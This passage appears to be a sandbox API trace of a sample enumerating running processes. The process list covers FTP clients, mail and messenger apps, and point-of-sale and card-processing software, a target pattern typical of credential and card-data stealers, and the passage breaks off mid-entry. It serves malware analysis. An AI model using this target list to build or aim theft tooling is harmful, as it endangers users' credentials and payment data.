[0123.180] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0123.180] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0123.180] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0123.181] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0123.181] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1 [0123.181] lstrlenW (lpString="pending.exe") returned 11 [0123.181] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bug workers.exe")) returned 1 [0123.182] lstrlenW (lpString="bug workers.exe") returned 15 [0123.182] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="succeed.exe")) returned 1 [0123.182] lstrlenW (lpString="succeed.exe") returned 11 [0123.183] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="springs antonio washer.exe")) returned 1 [0123.183] lstrlenW (lpString="springs antonio washer.exe") returned 26 [0123.183] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bookings.exe")) returned 1 [0123.575] lstrlenW (lpString="bookings.exe") returned 12 [0123.576] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="tramadol for.exe")) returned 1 [0123.618] lstrlenW (lpString="tramadol for.exe") returned 16 [0123.618] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freezenegotiationsg.exe")) returned 1 [0123.649] lstrlenW (lpString="freezenegotiationsg.exe") returned 23 [0123.650] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="starter detection.exe")) returned 1 [0123.650] lstrlenW (lpString="starter detection.exe") returned 21 [0123.650] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="unified aus.exe")) returned 1 [0123.651] lstrlenW (lpString="unified aus.exe") returned 15 [0123.651] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="taiwan registration.exe")) returned 1 [0123.651] lstrlenW (lpString="taiwan registration.exe") returned 23 [0123.651] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="idolcollectibles.exe")) returned 1 [0123.652] lstrlenW (lpString="idolcollectibles.exe") returned 20 [0123.652] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines.exe")) returned 1 [0123.652] lstrlenW (lpString="headlines.exe") returned 13 [0123.653] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ash-method.exe")) returned 1 [0123.653] lstrlenW (lpString="ash-method.exe") returned 14 [0123.653] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious_information.exe")) returned 1 [0123.654] lstrlenW (lpString="jane_conscious_information.exe") returned 30 [0123.654] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="programmes officially.exe")) returned 1 [0123.654] lstrlenW (lpString="programmes officially.exe") returned 25 [0123.654] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gerald_cdna_charleston.exe")) returned 1 [0123.655] lstrlenW (lpString="gerald_cdna_charleston.exe") returned 26 [0123.655] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="george-depending.exe")) returned 1 [0123.655] lstrlenW (lpString="george-depending.exe") returned 20 [0123.656] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="examinationrecipes.exe")) returned 1 [0123.656] lstrlenW (lpString="examinationrecipes.exe") returned 22 [0123.656] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="repeat go.exe")) returned 1 [0123.657] lstrlenW (lpString="repeat go.exe") returned 13 [0123.657] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="showcase.exe")) returned 1 [0123.658] lstrlenW (lpString="showcase.exe") returned 12 [0123.658] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0123.659] lstrlenW (lpString="3dftp.exe") returned 9 [0123.659] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0123.660] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0123.660] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0123.661] lstrlenW (lpString="alftp.exe") returned 9 [0123.661] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0123.663] lstrlenW (lpString="barca.exe") returned 9 [0123.663] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0123.664] lstrlenW (lpString="bitkinex.exe") returned 12 [0123.664] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0123.665] lstrlenW (lpString="coreftp.exe") returned 11 [0123.665] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0123.667] lstrlenW (lpString="far.exe") returned 7 [0123.667] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0123.668] lstrlenW (lpString="filezilla.exe") returned 13 [0123.668] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0123.669] lstrlenW (lpString="flashfxp.exe") returned 12 [0123.669] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0123.670] lstrlenW (lpString="fling.exe") returned 9 [0123.670] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0123.670] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0123.671] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0123.671] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0123.672] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0123.673] lstrlenW (lpString="icq.exe") returned 7 [0123.673] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0123.674] lstrlenW (lpString="leechftp.exe") returned 12 [0123.674] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0123.675] lstrlenW (lpString="ncftp.exe") returned 9 [0123.675] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0123.676] lstrlenW (lpString="notepad.exe") returned 11 [0123.676] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0123.677] lstrlenW (lpString="operamail.exe") returned 13 [0123.677] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0123.678] lstrlenW (lpString="pidgin.exe") returned 10 [0123.678] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0123.679] lstrlenW (lpString="scriptftp.exe") returned 13 [0123.679] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0123.680] lstrlenW (lpString="skype.exe") returned 9 [0123.680] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0123.681] lstrlenW (lpString="smartftp.exe") returned 12 [0123.681] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0123.681] lstrlenW (lpString="thunderbird.exe") returned 15 [0123.682] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0123.772] lstrlenW (lpString="totalcmd.exe") returned 12 [0123.772] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0123.773] lstrlenW (lpString="trillian.exe") returned 12 [0123.773] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0123.774] lstrlenW (lpString="webdrive.exe") returned 12 [0123.774] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0123.775] lstrlenW (lpString="whatsapp.exe") returned 12 [0123.775] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0123.792] lstrlenW (lpString="winscp.exe") returned 10 [0123.792] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0123.794] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0123.794] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0123.795] lstrlenW (lpString="active-charge.exe") returned 17 [0123.795] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0123.795] lstrlenW (lpString="accupos.exe") returned 11 [0123.796] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0123.796] lstrlenW (lpString="afr38.exe") returned 9 [0123.796] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0123.797] lstrlenW (lpString="aldelo.exe") returned 10 [0123.797] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0123.798] lstrlenW (lpString="ccv_server.exe") returned 14 [0123.798] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0123.799] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0123.799] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0123.800] lstrlenW (lpString="creditservice.exe") returned 17 [0123.800] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0123.801] lstrlenW (lpString="edcsvr.exe") returned 10 [0123.801] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0123.802] lstrlenW (lpString="fpos.exe") returned 8 [0123.802] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0123.803] lstrlenW (lpString="isspos.exe") returned 10 [0123.803] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0123.803] lstrlenW (lpString="mxslipstream.exe") returned 16 [0123.803] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0123.804] lstrlenW (lpString="omnipos.exe") returned 11 [0123.804] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0123.805] lstrlenW (lpString="spcwin.exe") returned 10 [0123.805] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1038, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0123.806] lstrlenW (lpString="spgagentservice.exe") returned 19 [0123.806] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0123.807] lstrlenW (lpString="utg2.exe") returned 8 [0123.807] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1060, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="controlling.exe")) returned 1 [0123.808] lstrlenW (lpString="controlling.exe") returned 15 [0123.808] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1074, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="assess climate.exe")) returned 1 [0123.809] lstrlenW (lpString="assess climate.exe") returned 18 [0123.809] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="color_infection.exe")) returned 1 [0123.810] lstrlenW (lpString="color_infection.exe") returned 19 [0123.810] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="home.exe")) returned 1 [0123.810] lstrlenW (lpString="home.exe") returned 8 [0123.810] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="assignedeliminatemidi.exe")) returned 1 [0123.811] lstrlenW (lpString="assignedeliminatemidi.exe") returned 25 [0123.811] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0123.812] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0123.812] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: 